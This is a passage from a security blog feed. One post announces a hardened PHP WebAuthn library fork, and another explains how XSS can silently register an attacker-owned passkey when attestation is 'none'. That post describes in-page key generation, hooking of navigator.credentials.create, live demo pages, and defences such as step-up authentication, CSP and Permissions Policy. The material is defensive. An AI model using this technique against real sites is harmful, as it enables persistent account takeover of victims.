href="https://github.com/lbuchs/WebAuthn?ref=scotthelme.ghost.io" rel="noreferrer">lbuchs/WebAuthn</a>, forked at upstream v2.2.0. We wanted to preserve what made that library appealing: it was small, lightweight, and understandable enough that you could actually read the code guarding your logins.</p><p>The catch was that the upstream is effectively dormant. When we had Report URI&apos;s passkeys integration <a href="https://scotthelme.co.uk/bringing-in-the-experts-having-our-passkeys-implementation-security-tested/?ref=scotthelme.ghost.io" rel="noreferrer">penetration tested</a>, the assessment surfaced several WebAuthn conformance issues. We <a href="https://github.com/lbuchs/WebAuthn/issues?q=is%3Apr+is%3Aopen+author%3AScottHelme&amp;ref=scotthelme.ghost.io" rel="noreferrer">wrote fixes and submitted them as PRs</a> upstream, but they haven&apos;t been merged. Rather than carry a stack of local patches indefinitely &#x2014; and leave everyone else on the same library exposed &#x2014; we&apos;re shipping the fixes inline and in the open.</p><p></p><h3 id="what-we-fixed">What We Fixed</h3><p>Each fix is its own commit on <code>main</code> so you can audit exactly what changed and why if you&apos;d like, but the summary is below. These were not cosmetic changes; they were the kinds of edge cases that matter when a library is responsible for deciding whether an authentication ceremony is valid.</p><p></p><ul><li>Tighter origin check. The previous RP-ID match treated the RP ID as a substring suffix, so <code>example.com</code> would match the host <code>evil-example.com</code>. It<br>now requires an exact match or a true subdomain.</li><li>Cross-origin rejection. Registration and authentication now reject ceremonies where <code>clientDataJSON.crossOrigin === true</code>, per WebAuthn Level&#xA0;3.</li><li>Attestation none hardening. The <code>none</code> attestation statement must be an empty CBOR map, per WebAuthn &#xA7;8.7. Non-empty maps are now rejected.</li><li>Backup flag validation. Authenticator data with the Backup State bit set but Backup Eligible unset is now rejected, per spec.</li><li>Token Binding rejection. Ceremonies asserting Token Binding are rejected, since the library doesn&apos;t implement it.</li></ul><p></p><h3 id="we-deleted-attestation">We Deleted Attestation</h3><p>The headline change is that attestation verification is gone entirely; the library now supports only the <code>none</code> attestation format. Our penetration test and our own internal security reviews showed that serious risk was concentrated almost entirely in attestation-statement handling &#x2014; the TPM, Packed, U2F, Android Key, Android SafetyNet and Apple formats, plus the FIDO Metadata Service plumbing and root-CA trust set. That code path is also the part of WebAuthn that our typical users don&apos;t use: browsers and platform authenticators issue attestation: &quot;none&quot; by default, and demanding attestation actively harms passkey UX and privacy.</p><p>So we removed it &#x2014; over 1,100 lines of it. Now, <code>getCreateArgs()</code> always requests <code>attestation: &quot;none&quot;</code> (which the spec requires the client to honour by stripping the statement, whatever authenticator the user holds), and only <code>fmt: &quot;none&quot;</code> with an empty <code>attStmt</code> is accepted. The library is now positioned for the common case: SaaS-style passkey auth where the relying party only needs to know the user controls a credential bound to the RP &#x2014; not which authenticator produced it. If you genuinely need enterprise attestation with a managed CA set, this isn&apos;t the library for you, and we think that&apos;s the right trade: a large, dangerous, rarely-exercised attack surface deleted instead of subtly-broken verifiers shipped to people who wouldn&apos;t enable them anyway.</p><p></p><h3 id="getting-started">Getting Started</h3><p>The library autoloads under PSR-4 as <code>ReportUri\Passkeys</code>, with the main entry point aligned with the spec name:</p><p></p><pre><code class="language-php">use ReportUri\Passkeys\WebAuthn;
    $server = new WebAuthn(&apos;My App&apos;, &apos;example.com&apos;);</code></pre><p></p><p>There&apos;s a working registration and login demo in <a href="https://github.com/report-uri/passkeys-php?ref=scotthelme.ghost.io" rel="noreferrer">_test/</a> to get you going, and this is currently deployed on the <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> production site so you can always test it there too!</p><p>Passkeys are one of the best things to happen to authentication in years, but only if the server side gets the verification right. That&#x2019;s the part users never see, and the part a library has to get exactly right.</p><p><code>passkeys-php</code> is our attempt to keep that code small, readable, auditable, and safe for the common case. Issues and PRs welcome.</p><p></p>]]></content:encoded>
            </item>
            <item>
                <title><![CDATA[XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None]]></title>
                <description><![CDATA[<p>A single XSS vulnerability can turn passkeys from a phishing-resistant login mechanism into a persistent account takeover backdoor. If malicious JavaScript can run on your page, it may be able to register an attacker-controlled passkey against the victim&#x2019;s account. The user sees nothing, the website records</p>]]></description>
                <link>https://scotthelme.ghost.io/xss-is-deadly-for-passkeys-the-hidden-risk-of-attestation-none/</link>
                <guid isPermaLink="false">69fef8df9c3a0c0001b5ea13</guid>
                <category><![CDATA[XSS]]></category>
                <category><![CDATA[Passkeys]]></category>
                <category><![CDATA[Report URI]]></category>
                <dc:creator><![CDATA[Scott Helme]]></dc:creator>
                <pubDate>Tue, 19 May 2026 12:24:43 GMT</pubDate>
                <media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png" medium="image"/>
                <content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/passkeys-xss.png" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None"><p>A single XSS vulnerability can turn passkeys from a phishing-resistant login mechanism into a persistent account takeover backdoor. If malicious JavaScript can run on your page, it may be able to register an attacker-controlled passkey against the victim&#x2019;s account. The user sees nothing, the website records a successful registration, and the attacker walks away with a valid authentication backdoor.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-1.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="800" height="70" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/report-uri-logo-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/report-uri-logo-1.png 800w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>For an organisation, that means more than &#x201C;someone found XSS&#x201D;. It means identity compromise, persistence, audit-trail ambiguity, regulatory exposure, and a security control that appears to have worked while silently enabling an attacker.</p><p>The uncomfortable truth is that while passkeys do bring amazing benefits, and I think that everyone should use them, there is a dangerous gap in the threat model that&apos;s being overlooked by almost everyone I speak to. This blog post explains the risk, demonstrates how this is possible, and what the effective defences look like.</p><p></p><h3 id="introduction">Introduction</h3><p>Before we get started, if you&apos;d like a brief overview of how passkeys work, you can jump over to my <a href="https://scotthelme.co.uk/passkeys-101-an-introduction-to-passkeys-and-how-they-work/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys 101 blog post</a>, where I explain the basics. I&apos;m going to assume in this blog post that you understand the concept of passkeys, and we&apos;re going to look at how they work in more detail in this post.</p><p>We also need to establish some terminology to make the rest of this blog post easier to understand:</p><p><strong>Relying Party</strong>: The website or application that stores and verifies a user&apos;s passkey credential for authentication. </p><p><strong>Authenticator</strong>: The user&#x2019;s device or password manager that creates, stores, and uses the private key to prove the user&#x2019;s identity to the Relying Party.</p><p><strong>Attestation</strong>: The mechanism an Authenticator can use during registration to prove what kind of hardware created the credential.</p><p></p><h3 id="how-passkey-registration-works">How Passkey Registration Works</h3><p>When registering a passkey with an RP like Report URI, JavaScript will make a call out to fetch the data it needs:</p><pre><code class="language-js">const optRes = await fetch(&apos;/passkeys/register_get_options/&apos; + getCsrfToken(), { method: &apos;POST&apos; });</code></pre><pre><code class="language-http">POST /passkeys/register_get_options/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1
    Host: report-uri.com
    Cookie: session=...
    Content-Length: 0</code></pre><p></p><p>The RP will return a response that looks like this and contains the <code>publicKey</code> object:</p><pre><code class="language-json">HTTP/1.1 200 OK
    Content-Type: application/json
    
    {
      &quot;publicKey&quot;: {
        &quot;rp&quot;: {
          &quot;name&quot;: &quot;Report URI&quot;,
          &quot;id&quot;: &quot;report-uri.com&quot;
        },
        &quot;user&quot;: {
          &quot;id&quot;: &quot;Yi8kP1xqd0Jx3mWZ8Q2vK7nR4tH6sLpA9dF1gE0wXc=&quot;,
          &quot;name&quot;: &quot;jane@example.com&quot;,
          &quot;displayName&quot;: &quot;jane@example.com&quot;
        },
        &quot;challenge&quot;: &quot;kQ7nR4tH6sLpA9dF1gE0wXc2vK7mZ8Q2Yi8kP1xqd0J&quot;,
        &quot;pubKeyCredParams&quot;: [
          { &quot;type&quot;: &quot;public-key&quot;, &quot;alg&quot;: -8 },
          { &quot;type&quot;: &quot;public-key&quot;, &quot;alg&quot;: -7 },
          { &quot;type&quot;: &quot;public-key&quot;, &quot;alg&quot;: -257 }
        ],
        &quot;timeout&quot;: 60000,
        &quot;authenticatorSelection&quot;: {
          &quot;requireResidentKey&quot;: true,
          &quot;residentKey&quot;: &quot;required&quot;,
          &quot;userVerification&quot;: &quot;required&quot;
        },
        &quot;attestation&quot;: &quot;none&quot;,
        &quot;excludeCredentials&quot;: [
          {
            &quot;type&quot;: &quot;public-key&quot;,
            &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc...&quot;,
            &quot;transports&quot;: [&quot;usb&quot;, &quot;nfc&quot;, &quot;ble&quot;, &quot;hybrid&quot;, &quot;internal&quot;]
          }
        ]
      }</code></pre><p></p><p>Now that your device has the information it needs, it can create the new passkey and save it, likely showing you some kind of confirmation that requires a PIN, FaceID, TouchID, etc... This is done with the following JavaScript API call that will trigger the interaction with your Authenticator:</p><pre><code class="language-js">const cred = await navigator.credentials.create({ publicKey });</code></pre><p></p><p>If you complete the process, your Authenticator will then store your new passkey. The JavaScript will then build the response to send back to the RP to confirm that everything has been completed and to save the new passkey against the user&apos;s account:</p><pre><code class="language-js">const payload = {
        name: nameInput?.value?.trim() || &apos;&apos;,
        password: passwordInput.value,
        id: cred.id,
        rawId: cred.rawId,
        type: cred.type,
        clientDataJSON: cred.response.clientDataJSON,
        attestationObject: cred.response.attestationObject,
    };
    
    const finRes = await fetch(&apos;/passkeys/register_finish/&apos; + getCsrfToken(), {
        method: &apos;POST&apos;,
        headers: { &apos;Content-Type&apos;: &apos;application/json&apos; },
        body: JSON.stringify(payload),
    });</code></pre><p></p><p>The <code>attestationObject</code> contains the important information, with everything else being mostly metadata. Here&apos;s the content of the <code>attestationObject</code> with the public key being the crucial part:</p><pre><code>attestationObject (CBOR)
    &#x251C;&#x2500; fmt                       &#x2190; attestation format, e.g. &quot;none&quot; / &quot;apple&quot;
    &#x251C;&#x2500; authData                  &#x2190; authenticator data
    &#x2502;  &#x251C;&#x2500; rpIdHash               &#x2190; SHA-256 hash of the RP ID
    &#x2502;  &#x251C;&#x2500; flags                  &#x2190; UP/UV/AT/ED flags, etc.
    &#x2502;  &#x251C;&#x2500; signCount              &#x2190; signature counter
    &#x2502;  &#x2514;&#x2500; attestedCredentialData
    &#x2502;     &#x251C;&#x2500; aaguid              &#x2190; type/model id, not useful for synced passkeys
    &#x2502;     &#x251C;&#x2500; credentialIdLength
    &#x2502;     &#x251C;&#x2500; credentialId        &#x2190; credential is, also surfaced as id/rawId
    &#x2502;     &#x2514;&#x2500; credentialPublicKey &#x2190; COSE-encoded public key
    &#x2514;&#x2500; attStmt                   &#x2190; attestation statement; empty for fmt &quot;none&quot;</code></pre><p></p><p>The RP can now save the public key against the user and we know that this is a passkey they will be able to use to authenticate in the future. The stored record might look something like this:</p><pre><code class="language-json">{
        &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc&quot;,
        &quot;name&quot;: &quot;Jane&apos;s MacBook&quot;,
        &quot;pem&quot;: &quot;-----BEGIN PUBLIC KEY-----\nMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAE...\n-----END PUBLIC KEY-----\n&quot;,
        &quot;counter&quot;: 0,
        &quot;created&quot;: &quot;2026-05-16T14:22:07+00:00&quot;
    }</code></pre><p></p><p></p><h3 id="how-passkey-authentication-works">How Passkey Authentication Works</h3><p>The process for logging in is equally as simple, with only a couple of steps to successfully authenticate with a passkey. First, the JavaScript must fetch the information required to authenticate from the RP.</p><pre><code class="language-js">const optRes = await fetch(&apos;/passkeys/login_get_options/&apos; + getCsrfToken(), { method: &apos;POST&apos;, credentials: &apos;same-origin&apos; });</code></pre><pre><code class="language-http">POST /passkeys/login_get_options/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1
    Host: report-uri.com
    Cookie: session=...
    Content-Length: 0</code></pre><p></p><p>The RP will respond with a <code>publicKey</code> object that contains the required information:</p><pre><code class="language-json">HTTP/1.1 200 OK
    Content-Type: application/json
    {
      &quot;publicKey&quot;: {
        &quot;challenge&quot;: &quot;Vk7nR4tH6sLpA9dF1gE0wXc2vK7mZ8Q2Yi8kP1xqd0J&quot;,
        &quot;timeout&quot;: 20000,
        &quot;rpId&quot;: &quot;report-uri.com&quot;,
        &quot;userVerification&quot;: &quot;required&quot;,
        &quot;allowCredentials&quot;: [
          {
            &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc&quot;,
            &quot;type&quot;: &quot;public-key&quot;,
            &quot;transports&quot;: [&quot;usb&quot;, &quot;nfc&quot;, &quot;ble&quot;, &quot;hybrid&quot;, &quot;internal&quot;]
          }
        ]
      }
    }</code></pre><p></p><p>You must have some way of telling the RP which user/account is trying to login, and Report URI rely on the user already having completed their email address and password in the first step, but some websites will just ask for your email address. The response that came back from the RP has to have looked up the user&apos;s account, <code>jane@example.com</code> in this case, and now provides a list of <code>allowCredentials</code> which are the <code>id</code> values of previously registered passkeys. If you look in the earlier registration steps you can see that we registered a passkey with the <code>id</code> value <code>AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc</code> and this has now been returned to us during login as an allowed credential. We can now pass this to the Authenticator using the following JavaScript API call :</p><pre><code class="language-js">const assertion = await navigator.credentials.get({ publicKey });</code></pre><p></p><p>At this point, your Authenticator might ask you for a PIN, FaceID, TouchID or similar, and then the Authenticator is going to sign the challenge with the associated private key it stored earlier during registration, identified using the <code>id</code> provided. This signed challenge can then be returned to the RP to demonstrate possession of the private key:</p><pre><code class="language-js">const payload = {
        id: assertion.id,
        rawId: assertion.rawId,
        type: assertion.type,
        clientDataJSON: assertion.response.clientDataJSON,
        authenticatorData: assertion.response.authenticatorData,
        signature: assertion.response.signature,
        userHandle: assertion.response.userHandle || &apos;&apos;,
    };
    
    const finRes = await fetch(&apos;/passkeys/login_finish/&apos; + getCsrfToken(), {
        method: &apos;POST&apos;,
        credentials: &apos;same-origin&apos;,
        headers: { &apos;Content-Type&apos;: &apos;application/json&apos; },
        body: JSON.stringify(payload),
    });</code></pre><pre><code class="language-json">POST /passkeys/login_finish/8f3c1a9e4b2d7f60c5a1e8d2b9f4a7c3 HTTP/1.1
    Host: report-uri.com
    Content-Type: application/json
    Cookie: session=...
    
    {
      &quot;id&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc&quot;,
      &quot;rawId&quot;: &quot;AX9k2mZ8Q2vK7nR4tH6sLpA9dF1gE0wXc==&quot;,
      &quot;type&quot;: &quot;public-key&quot;,
      &quot;clientDataJSON&quot;: &quot;eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiVms3blI0dEg2c0xwQTlkRjFnRTB3WGMydks3bVo4UTJZaThrUDF4cWQwSiIsIm9yaWdpbiI6Imh0dHBzOi8vcmVwb3J0LXVyaS5jb20iLCJjcm9zc09yaWdpbiI6ZmFsc2V9&quot;,
      &quot;authenticatorData&quot;: &quot;SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MdAAAAAA==&quot;,
      &quot;signature&quot;: &quot;MEUCIQD3...base64 of the ECDSA/EdDSA signature...AiEA9k2m&quot;,
      &quot;userHandle&quot;: &quot;T3xq2mP9kZ8Q2vK7nR4tH6sLpA9dF1gE0wXcYi8kP1w=&quot;
    }</code></pre><p></p><p>If the RP can then successfully verify the signature in this payload using the public key it stored during registration, the user trying to log in has proven possession of the private key that&apos;s associated with the stored public key. This means they have now completed authentication with a passkey and you can grant them access to the account. </p><p></p><h3 id="understanding-attestation">Understanding Attestation</h3><p>Attestation is a pretty big deal, but if you go back and look at the registration process when the client called out to <code>/passkeys/register_get_options</code>, you will notice the following in the response sent back by the RP:</p><pre><code class="language-json">{
      ...
      &quot;attestation&quot;: &quot;none&quot;,
      ...
    }</code></pre><p></p><p>Attestation allows your application, the RP, to answer the question &apos;what kind of authenticator am I working with&apos;, and it&apos;s answering that question at a hardware level and getting an answer it can verify. That sounds great, so why is Report URI not requiring that?</p><p>In order for attestation to work, you would first need to get the certificates of all registered authenticators that can produce passkeys. You can grab that information from the <a href="https://fidoalliance.org/metadata/?ref=scotthelme.ghost.io" rel="noreferrer">FIDO Alliance</a> as part of their Metadata Service (MDS3), and it&apos;s just a case of downloading the file and verifying its signature, and then parsing out all of the certificates. You need to do this ~once per month to stay current, and then you can ask for attestation when an authenticator is registering a passkey with your application. </p><p>Attestation is then a signature from the authenticator proving that it&apos;s a genuine authenticator from a particular manufacturer, let&apos;s say a YubiKey. Our application can verify that signature using the certificates that we fetched above and then we can be confident that we&apos;re dealing with a genuine YubiKey. The authenticator will provide an <code>attestationObject</code> that contains an <code>attStmt</code> that looks like this during the registration flow:</p><pre><code class="language-json">&quot;attStmt&quot;: {
      &quot;alg&quot;: -7,                // COSE alg of the signature (e.g. -7 = ES256)
      &quot;sig&quot;: h&apos;3045022100&#x2026;&apos;,    // sig over (authData &#x2016; SHA-256(clientDataJSON))
      &quot;x5c&quot;: [                  // attestation certificate chain, leaf first
        h&apos;308202bd30820&#x2026;&apos;,      // leaf: the authenticator&apos;s attestation cert
        h&apos;30820336308&#x2026;&apos;         // (optional) intermediate CA cert(s)
      ]
    }</code></pre><p></p><p>So why on Earth would we not require attestation when registering a passkey with our application?</p><p></p><h3 id="convenience">Convenience</h3><p>The trade-off nobody mentions! An authenticator&apos;s ability to cryptographically prove what kind of hardware device it is can&apos;t be explained as anything other than a major security win. But that win does come at a cost.</p><p>We pulled the current MDS3 list to take a look at what&apos;s in there and we see the likes of Yubico, Feitian, Thales, Ledger, the platform TPM/Hello authenticators, and many more. The problem is what we didn&apos;t see. 1Password, LastPass, Bitwarden, Dashlane, iCloud Keychain, Google Password Manager, Chrome&apos;s built-in store... This isn&apos;t an oversight from these companies, it&apos;s a design choice. </p><p>The original idea behind passkeys was that the private key would remain locked on a single device, in secure storage like the Secure Enclave, a TPM, or similar. I&apos;d register a passkey against my online account and save it as &quot;Scott&apos;s Laptop&quot;, and that passkey would forever remain on my laptop, securely stored in the TPM (I&apos;m on Windows). This is a tremendous security super-power, but it comes with a trade-off. If I were to lose my laptop, spill a coffee on it, or it failed spectacularly and the <a href="https://en.wikipedia.org/wiki/Magic_smoke?ref=scotthelme.ghost.io" rel="noreferrer">magic smoke</a> got out, I&apos;m in big trouble. I&apos;d now need to have another device somewhere else that already had a passkey registered on my account so I could sign in from that device, otherwise I&apos;m in big trouble. This idea of having to register and manage individual passkeys for each of your devices to be able to access your online account is what drove us in another direction.</p><p></p><h3 id="synced-passkeys">Synced Passkeys</h3><p>Synced passkeys are the architectural polar-opposite of an attestable hardware credential. Instead of storing the passkey in a secure storage medium like the Secure Enclave or TPM, I use 1Password, which stores the private key in my 1Password vault. My vault is then synced across all of my devices, my Windows desktop, my iPhone, my MacBook Pro, my iPad, and more. This offers me a huge amount of convenience because I can register a passkey with an RP a single time, and then login with that passkey across all of my devices, instead of having to register a passkey from each and every device. But that&apos;s the rub... We can&apos;t have meaningful hardware attestation in this process to tell us what type of hardware Authenticator we&apos;re dealing with because the answer to the question &apos;what type of device is this?&apos; will always be &apos;it depends&apos;. There&apos;s no generally useful way for software Authenticators like 1Password and others to do attestation, and this is why we don&apos;t require it on Report URI, because if we did, the vast majority of our users wouldn&apos;t be able to use their preferred method for registering and authenticating with passkeys.</p><p>That tension &#x2014; device attestation vs. synced passkeys &#x2014; is genuinely the crux of this whole blog post.</p><p></p><h3 id="where-it-all-falls-apart">Where It All Falls Apart</h3><p>We now have all the pieces of the puzzle, so let&apos;s put this together and see where it falls apart. Most online services are not going to require Attestation because it would force so many of their users out of being able to use passkeys in their preferred way. But Attestation allows the RP to know that it&apos;s talking to a bona fide Authenticator backed by hardware. Without Attestation we&apos;re just talking to software, we&apos;re talking to code. As it turns out, webpages run code...</p><p>The entire passkey registration and authentication flows that we walked through earlier were driven by JavaScript. To register a new passkey the page will call <code>navigator.credentials.create()</code> and interact with the Authenticator, passing data backwards and forwards. To authenticate with a passkey the page will call <code>navigator.credentials.get()</code> and interact with the Authenticator, passing data backwards and forwards. If we take Attestation out of the picture, you can complete this entire flow in JavaScript without ever even having to involve an Authenticator. Let&apos;s walk through it:</p><p></p><ol>
    <li>
    <p>The JavaScript calls <code>/passkeys/register_get_options/</code> to begin the registration flow as normal.</p>
    </li>
    <li>
    <p>Typically, the JavaScript would now call <code>navigator.credentials.create()</code> to create the new public/private key pair in the Authenticator, instead, we&apos;re going just going to create a new key pair in JavaScript.</p>
    <pre><code class="language-js">const kp = await crypto.subtle.generateKey(
        { name: &apos;ECDSA&apos;, namedCurve: &apos;P-256&apos; }, true, [&apos;sign&apos;]
    );
    </code></pre>
    </li>
    <li>
    <p>We now need to build the payload to send to <code>/passkeys/register_finish/</code> which requires the public key that we just generated, and no attestation data is required. The RP will later only be able to verify that logins are signed by the private key corresponding to this submitted public key; it has not verified that the key was created inside a &apos;real&apos; authenticator.</p>
    </li>
    <li>
    <p>A new passkey has been successfully registered on the user&apos;s account with absolutely <strong>no user interaction required</strong>.</p>
    </li>
    </ol>
    <p></p><p>This might sound crazy, that by simply visiting a page running malicious JavaScript it can register a passkey on your account with absolutely no interaction, but that&apos;s exactly how it works if no other steps are required.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-4.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="1448" height="1086" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-4.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-4.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-4.png 1448w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To prove this, I built a few demo pages on the <a href="https://report-uri-demo.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI Demo Site</a>, and specifically you want to look at <a href="https://report-uri-demo.com/passkeys/1/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 1</a> for this. The very moment that page loads in your browser, the JavaScript payload is going to register a passkey on your account. You can register your own passkey as normal and even sign in with your own passkey, give it a try, but there will always be that second passkey registered by the malicious JavaScript and owned by the attacker.</p><p></p><h3 id="xss-is-now-deadly">XSS Is Now Deadly</h3><p>Having an attacker register their own passkey on your account is a particularly nasty form of account takeover. It is persistent, it looks like a legitimate account-security change, and if passkeys are sufficient to sign in, the attacker now has a clean authentication path back into the account. You are now totally pwned, and, it gets worse. </p><p>Because the passkey registration process is orchestrated by JavaScript, if we&apos;re running malicious JavaScript in the page, we can proxy the WebAuthn API calls between the browser and the Authenticator. The ultimate in-page MiTM attack!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-1.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="1448" height="1086" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-1.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-1.png 1448w" sizes="(min-width: 720px) 720px"></figure><p></p><p>By hooking and tampering with the <code>navigator.credentials.create()</code> API, we can substitute the values being passed between the browser and the Authenticator. This means that the user will conduct their normal registration process, get a prompt from their Authenticator to create and save a new passkey, but the Authenticator will then <strong>save the wrong passkey</strong>. The Authenticator will save the passkey that it generated, but that was not the passkey sent to the RP, which was substituted for the attacker&apos;s passkey. It now looks like you&apos;ve registered a passkey on the website, you see a passkey in your password manager, the website shows that a Passkey has now been registered on your account, but the passkey the victim has will never work. Only the passkey that the attacker has will work and the reason this work so well is best demonstrated by updating the diagram.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-5.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="1448" height="1086" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-5.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/05/image-5.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-5.png 1448w" sizes="(min-width: 720px) 720px"></figure><p></p><p>To demonstrate this process, we&apos;ve created <a href="https://report-uri-demo.com/passkeys/2/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 2</a>, where you can register a passkey on your account, but the passkey saved on your device will not be the correct passkey. You can then try to sign in with your passkey and observe that, as expected, it doesn&apos;t work, but the attacker can log in with their passkey.</p><p></p><h3 id="the-threat-model-that-matters">The Threat Model That Matters</h3><p>Attestation isn&apos;t being &quot;skipped&quot; out of laziness or a lack of knowledge, it&apos;s a recognition that for a service whose users are spread across every device and every password manager, the strong version of attestation would trade an assurance about device provenance for a very real loss of accessibility. The threat model that matters for us &#x2014; phishing, credential theft, replay &#x2014; is fully addressed by the challenge/origin binding and the signature check provided by synced passkeys. Device attestation doesn&apos;t move that needle, and it&apos;s why we don&apos;t require it.</p><p>Attestation and synced passkeys are fundamentally at odds, and choosing not to attest is what lets your users bring the passkeys that they actually have. If it&apos;s a choice between no Attestation or no passkeys, which are you choosing?</p><p></p><h3 id="defending-against-the-threat">Defending Against The Threat</h3><p>Everyone out there should be using, or aiming to use, passkeys, but we need to acknowledge the risks that exist and take steps to mitigate them. Here is some practical guidance to take away and use to help strengthen your passkeys deployment.</p><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Step up authentication before registration</h4>
    <!--kg-card-end: html-->
    <p>This one can be tricky because I&apos;ve seen many sites using passkeys to replace passwords, but that&apos;s not something we&apos;ve done on Report URI, passkeys are used as a 2FA mechanism. When attempting to register a new passkey on your account, you need the current password for the account to do it. This means that JavaScript can&apos;t silently register a new passkey. You could also require any other 2FA mechanism, a magic-link via email, or any other additional authentication mechanism.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-3.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="934" height="445" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-3.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-3.png 934w" sizes="(min-width: 720px) 720px"></figure><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Stop the Malicious JavaScript from running</h4>
    <!--kg-card-end: html-->
    <p>A strong <a href="https://report-uri.com/products/content_security_policy?ref=scotthelme.ghost.io" rel="noreferrer">Content Security Policy</a> is going to go a long way here and the best way to stop this attack is to stop the XSS at the source. You should also use <a href="https://scotthelme.co.uk/subresource-integrity/?ref=scotthelme.ghost.io" rel="noreferrer">Subresource Integrity</a> wherever possible to secure your third-party dependencies. You can see <a href="https://report-uri-demo.com/passkeys/3/?ref=scotthelme.ghost.io" rel="noreferrer">Passkeys Demo 3</a> for what happens when an analytics script goes rogue and starts registering passkeys for your visitors.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-6.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="402" height="146"></figure><p></p>
    <!--kg-card-begin: html-->
    <h4 style="font-size: 2.2rem;">Take Control of Powerful APIs</h4>
    <!--kg-card-end: html-->
    <p>Using Permissions Policy, you can take control of which pages on your site, and which third-party scripts you&apos;re loading, have access to the <code>navigator.credentials.create()</code> and <code>navigator.credentials.get()</code> API calls to register a passkey and authenticate with a passkey. In reality, we probably have very few pages on our sites that need to touch passkeys, and probably even fewer third-party scripts that we want to have that capability. This won&#x2019;t stop the direct <code>/register_finish/</code> attack described above, because that attack doesn&#x2019;t need the WebAuthn API, but it does reduce the number of places where malicious JavaScript can interfere with legitimate passkey ceremonies.</p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/05/image-7.png" class="kg-image" alt="XSS Is Deadly for Passkeys: The Hidden Risk of Attestation None" loading="lazy" width="660" height="132" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/05/image-7.png 600w, 